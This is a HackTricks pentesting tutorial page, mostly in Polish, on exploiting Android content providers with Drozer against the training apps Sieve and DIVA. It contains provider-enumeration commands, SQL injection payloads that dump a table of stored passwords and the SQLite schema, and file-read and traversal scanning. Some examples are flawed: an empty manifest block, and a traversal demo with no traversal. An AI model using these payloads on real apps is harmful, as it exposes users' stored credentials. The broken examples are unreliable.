# Wykorzystywanie dostawców treści
## Wykorzystywanie dostawców treści
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
## Wprowadzenie
Dane są **dostarczane z jednej aplikacji do innych** na żądanie za pomocą komponentu znanego jako **dostawca treści**. Te żądania są obsługiwane za pomocą metod klasy **ContentResolver**. Dostawcy treści mogą przechowywać swoje dane w różnych lokalizacjach, takich jak **baza danych**, **pliki** lub przez **sieć**.
W pliku _Manifest.xml_ konieczne jest zadeklarowanie dostawcy treści. Na przykład:
```xml
```
Aby uzyskać dostęp do `content://com.mwr.example.sieve.DBContentProvider/Keys`, wymagane jest uprawnienie `READ_KEYS`. Ciekawym jest, że ścieżka `/Keys/` jest dostępna w następującym fragmencie, który nie jest chroniony z powodu błędu programisty, który zabezpieczył `/Keys`, ale zadeklarował `/Keys/`.
**Możliwe jest uzyskanie dostępu do prywatnych danych lub wykorzystanie podatności (wstrzyknięcie SQL lub przechodzenie po ścieżkach).**
## Uzyskaj informacje z **publicznych dostawców treści**
```
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
```
Możliwe jest złożenie w całość sposobu dotarcia do **DBContentProvider** poprzez rozpoczęcie URI od "_content://_". Ten podejście opiera się na wskazówkach uzyskanych dzięki użyciu Drozera, gdzie kluczowe informacje zostały znalezione w katalogu _/Keys_.
Drozer może **próbować zgadywać i testować kilka URI**:
```
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
```
Należy również sprawdzić kod **ContentProvidera**, aby wyszukać zapytania:
![](<../../../.gitbook/assets/image (121) (1) (1) (1).png>)
Jeśli nie można znaleźć pełnych zapytań, można **sprawdzić, jakie nazwy są deklarowane przez ContentProvider** w metodzie `onCreate`:
![](<../../../.gitbook/assets/image (186).png>)
Zapytanie będzie wyglądać tak: `content://nazwa.pakietu.klasy/nazwa_zadeklarowana`
## **Content Providery oparte na bazie danych**
Prawdopodobnie większość Content Providerów jest używana jako **interfejs** dla **bazy danych**. Dlatego, jeśli uzyskasz do niej dostęp, będziesz w stanie **wydobywać, aktualizować, wstawiać i usuwać** informacje.\
Sprawdź, czy można **uzyskać dostęp do wrażliwych informacji** lub spróbuj je zmienić, aby **obejść mechanizmy autoryzacji**.
Podczas sprawdzania kodu Content Providera, **sprawdź** również funkcje o nazwach: _query, insert, update i delete_:
![](<../../../.gitbook/assets/image (187).png>)
![](<../../../.gitbook/assets/image (254) (1) (1) (1) (1) (1) (1) (1).png>)
Ponieważ będziesz w stanie je wywołać.
### Zapytanie o zawartość
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
```
### Wstawianie treści
Przeszukując bazę danych dowiesz się **nazw kolumn**, a następnie będziesz mógł wstawić dane do bazy:
![](<../../../.gitbook/assets/image (188) (1).png>)
![](<../../../.gitbook/assets/image (189) (1).png>)
_Zauważ, że podczas wstawiania i aktualizacji możesz użyć --string, aby wskazać ciąg znaków, --double, aby wskazać liczbę zmiennoprzecinkową, --float, --integer, --long, --short, --boolean._
### Aktualizowanie treści
Znając nazwy kolumn, możesz również **modyfikować wpisy**:
![](<../../../.gitbook/assets/image (190).png>)
### Usuwanie treści
![](<../../../.gitbook/assets/image (191).png>)
### **SQL Injection**
Łatwo przetestować podatność na SQL Injection **(SQLite)**, manipulując polami **projekcji** i **selekcji**, które są przekazywane do dostawcy treści.\
Podczas przeszukiwania dostawcy treści istnieją 2 interesujące argumenty do wyszukiwania informacji: _--selection_ i _--projection_:
![](<../../../.gitbook/assets/image (192) (1).png>)
Możesz spróbować **wykorzystać** te **parametry** do przetestowania podatności na **SQL injection**:
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
```
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
```
**Automatyczne odkrywanie SQLInjection za pomocą Drozera**
Drozer is a powerful security testing framework for Android applications. It provides a wide range of features to assist in the penetration testing of Android apps. One of its notable features is the ability to automatically discover SQL injection vulnerabilities in Android apps.
Drozer uses a technique called content provider injection to identify potential SQL injection points in an app. Content providers are components in Android apps that allow data to be shared between different apps. By injecting malicious SQL queries into content provider URIs, Drozer can determine if the app is vulnerable to SQL injection attacks.
To perform automatic SQL injection discovery with Drozer, follow these steps:
1. Install Drozer on your testing machine.
2. Connect your Android device to the testing machine using ADB.
3. Launch Drozer and start a session with the target app using the `drozer console connect` command.
4. Use the `run app.provider.finduris` command to identify the content provider URIs in the app.
5. Use the `run app.provider.query` command to inject SQL queries into the content provider URIs and check for potential SQL injection vulnerabilities.
6. Analyze the results and identify any vulnerable points in the app's content providers.
By automating the SQL injection discovery process, Drozer can save time and effort during the penetration testing of Android apps. However, it is important to note that this technique should only be used on apps that you have permission to test, as it can potentially cause data loss or other adverse effects if used maliciously.
```
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
```
## **Dostawcy treści oparte na systemie plików**
Dostawcy treści mogą również być używani do **dostępu do plików:**
![](<../../../.gitbook/assets/image (193).png>)
### Odczytaj **plik**
Możesz odczytywać pliki z dostawcy treści
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
### **Przechodzenie po ścieżce**
Jeśli masz dostęp do plików, możesz spróbować wykorzystać przechodzenie po ścieżce (w tym przypadku nie jest to konieczne, ale możesz spróbować użyć "_../_" i podobnych sztuczek).
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
**Automatyczne odkrywanie Path Traversal za pomocą Drozera**
Drozer is a powerful Android security testing framework that allows you to perform various security assessments on Android applications. One of the techniques it supports is the automatic discovery of Path Traversal vulnerabilities in Android applications.
Drozer uses a combination of static and dynamic analysis to identify potential Path Traversal vulnerabilities. It analyzes the application's code and behavior to determine if it is susceptible to this type of attack.
To use Drozer for automatic Path Traversal discovery, follow these steps:
1. Install Drozer on your testing machine.
2. Connect your Android device to the testing machine using ADB.
3. Launch Drozer and start a session with the target application.
4. Use the `run app.provider.find` command to search for content providers in the target application.
5. Use the `run app.provider.query` command to query each content provider for potential Path Traversal vulnerabilities.
6. Analyze the results and identify any potential vulnerabilities.
Drozer will automatically analyze the content providers in the target application and check if they are vulnerable to Path Traversal attacks. It will provide you with a detailed report of any potential vulnerabilities found.
By using Drozer's automatic Path Traversal discovery feature, you can quickly identify and assess the security of Android applications. This can help you uncover potential vulnerabilities and take appropriate measures to mitigate them.
```
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
```
## Odwołania
* [https://www.tutorialspoint.com/android/android\_content\_providers.htm](https://www.tutorialspoint.com/android/android\_content\_providers.htm)
* [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
* [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.